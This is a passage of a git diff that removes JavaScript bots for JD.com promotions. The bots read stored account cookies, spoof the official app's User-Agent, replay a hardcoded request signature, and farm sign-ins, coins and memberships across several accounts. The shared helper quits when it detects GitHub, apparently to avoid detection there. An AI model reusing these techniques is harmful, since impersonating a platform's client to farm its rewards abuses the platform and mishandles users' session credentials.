Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_hyj.js b/backUp/jd_hyj.js deleted file mode 100644 index 9fc1101..0000000 --- a/backUp/jd_hyj.js +++ /dev/null @@ -1,740 +0,0 @@ -//0 * * * * 环游记 自动入会、签到、任务、升级、开宝箱、捡金币 -//半残品随便跑跑 -const $ = new Env('环游记'); - -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - - -let cookiesArr = [], - cookie = '', - message; -let secretp = '', - inviteId = [] - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let inviteCodes = [ - -] -$.shareCodesArr = []; - -!(async() => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - $.inviteIdCodesArr = {} - for (let i = 0; i < cookiesArr.length && true; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - await getUA() - } - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await shareCodesFormat() - for (let i = 0; i < $.newShareCodes.length && true; ++i) { - console.log(`\n开始助力 【${$.newShareCodes[i]}】`) - let res = await getInfo($.newShareCodes[i]) - if (res && res['data'] && res['data']['bizCode'] === 0) { - if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { - console.log(`助力次数已耗尽,跳出`) - break - } - if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0]) { - console.log(`助力 【${$.newShareCodes[i]}】:${res.data.result.toasts[0].msg}`) - } - } - if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { - // 助力次数耗尽 || 黑号 - break - } - } - try { - await get_secretp() - - do { - var conti = false - await travel_collectAtuoScore() - res = await travel_getTaskDetail() - - for (var p = 0; p < res.lotteryTaskVos[0].badgeAwardVos.length; p++) { - if (res.lotteryTaskVos[0].badgeAwardVos[p].status == 3) { - await travel_getBadgeAward(res.lotteryTaskVos[0].badgeAwardVos[p].awardToken) - } - - } - let task = [] - let r = [] - for (var p = 0; p < res.taskVos.length; p++) { - task = res.taskVos[p] - if (task.status != 1) continue - switch (task.taskType) { - case 7: - case 9: - case 3: - case 6: - case 26: - var tmp = [] - if (task.taskType == 7) { - tmp = task.browseShopVo - } else { - tmp = task.shoppingActivityVos - } - - for (var o = 0; o < tmp.length; o++) { - console.log(`${tmp[o].title?tmp[o].title:tmp[o].shopName}`) - if (tmp[o].status == 1) { - conti = true - await travel_collectScore(tmp[o].taskToken, task.taskId) - } - - } - await $.wait(8000) - for (var o = 0; o < tmp.length; o++) { - if (tmp[o].status == 1) { - conti = true - await qryViewkitCallbackResult(tmp[o].taskToken) - } - - } - break - case 2: - r = await travel_getFeedDetail(task.taskId) - var t = 0; - for (var o = 0; o < r.productInfoVos.length; o++) { - if (r.productInfoVos[o].status == 1) { - conti = true - await travel_collectScore(r.productInfoVos[o].taskToken, task.taskId) - t++ - if (t >= 5) break - } - - } - break - case 5: - r = await travel_getFeedDetail2(task.taskId) - var t = 0; - for (var o = 0; o < r.browseShopVo.length; o++) { - if (r.browseShopVo[o].status == 1) { - conti = true - await travel_collectScore(r.browseShopVo[o].taskToken, task.taskId) - t++ - if (t >= 5) break - } - - } - break - case 21: - for (var o = 0; o < task.brandMemberVos.length; o++) { - if (task.brandMemberVos[o].status == 1) { - console.log(`${task.brandMemberVos[o].title}`) - memberUrl = task.brandMemberVos[o].memberUrl - memberUrl = transform(memberUrl) - await join(task.brandMemberVos[o].vendorIds, memberUrl.channel, memberUrl.shopId ? memberUrl.shopId : "") - await travel_collectScore(task.brandMemberVos[o].taskToken, task.taskId) - } - - } - } - - } - await $.wait(1000) - } while (conti) - - - await travel_sign() - do { - var ret = await travel_raise() - } while (ret) - console.log(`助力码:${res.inviteId}\n`) - inviteId.push(res.inviteId) - } catch (e) { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - } - } - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function transform(str) { - var REQUEST = new Object, - data = str.slice(str.indexOf("?") + 1, str.length - 1), - aParams = data.substr(1).split("&"); - for (i = 0; i < aParams.length; i++) {   - var aParam = aParams[i].split("=");   - REQUEST[aParam[0]] = aParam[1] - } - return REQUEST -} - -function get_secretp() { - let body = {}; - return new Promise((resolve) => { - $.post(taskPostUrl("travel_getHomeData", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - secretp = data.data.result.homeMainInfo.secretp - - } - } else { - console.log(`secretp失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_sign() { - let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; - return new Promise((resolve) => { - $.post(taskPostUrl("travel_sign", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - - console.log(`签到成功`) - resolve(true) - } else { - resolve(false) - } - } else { - console.log(`签到失败:${JSON.stringify(data)}\n`) - resolve(false) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_raise() { - let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; - return new Promise((resolve) => { - $.post(taskPostUrl("travel_raise", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - - console.log(`升级成功`) - resolve(true) - } else { - resolve(false) - } - } else { - console.log(`升级失败:${JSON.stringify(data)}\n`) - resolve(false) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_collectAtuoScore() { - let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; - return new Promise((resolve) => { - $.post(taskPostUrl("travel_collectAtuoScore", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - - console.log(`成功领取${data.data.result.produceScore}个币`) - } - } else { - console.log(`secretp失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_getTaskDetail() { - let body = {}; - return new Promise((resolve) => { - $.post(taskPostUrl("travel_getTaskDetail", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - if (data.data.result.inviteId == null) { - console.log("黑号") - resolve("") - } - inviteId.push(data.data.result.inviteId) - resolve(data.data.result) - } - } else { - console.log(`secretp失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_collectScore(taskToken, taskId) { - let body = { "taskId": taskId, "taskToken": taskToken, "actionType": 1, "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; - - return new Promise((resolve) => { - $.post(taskPostUrl("travel_collectScore", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - console.log(data.msg) - } - } else { - console.log(`失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function qryViewkitCallbackResult(taskToken) { - let body = { "dataSource": "newshortAward", "method": "getTaskAward", "reqParams": `{\"taskToken\":"${taskToken}"}`, "sdkVersion": "1.0.0", "clientLanguage": "zh", "onlyTimeId": new Date().getTime(), "riskParam": { "platform": "3", "orgType": "2", "openId": "-1", "pageClickKey": "Babel_VKCoupon", "eid": "", "fp": "-1", "shshshfp": "", "shshshfpa": "", "shshshfpb": "", "childActivityUrl": "", "userArea": "-1", "client": "", "clientVersion": "", "uuid": "", "osVersion": "", "brand": "", "model": "", "networkType": "", "jda": "-1" } }; - - return new Promise((resolve) => { - $.post(taskPostUrl2("qryViewkitCallbackResult", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - if (data.indexOf("已完成") != -1) { - data = JSON.parse(data); - console.log(`${data.toast.subTitle}`) - } else { - console.log(`失败:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_getBadgeAward(taskToken) { - let body = { "awardToken": taskToken }; - - return new Promise((resolve) => { - $.post(taskPostUrl("travel_getBadgeAward", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - for (let i = 0; i < data.data.result.myAwardVos.length; i++) { - switch (data.data.result.myAwardVos[i].type) { - case 15: - console.log(`获得${data.data.result.myAwardVos[i].pointVo.score}币?`) - break - case 1: - console.log(`获得优惠券 满${data.result.myAwardVos[1].couponVo.usageThreshold}-${data.result.myAwardVos[i].couponVo.quota} ${data.result.myAwardVos[i].couponVo.useRange}`) - break - } - } - } - } else { - 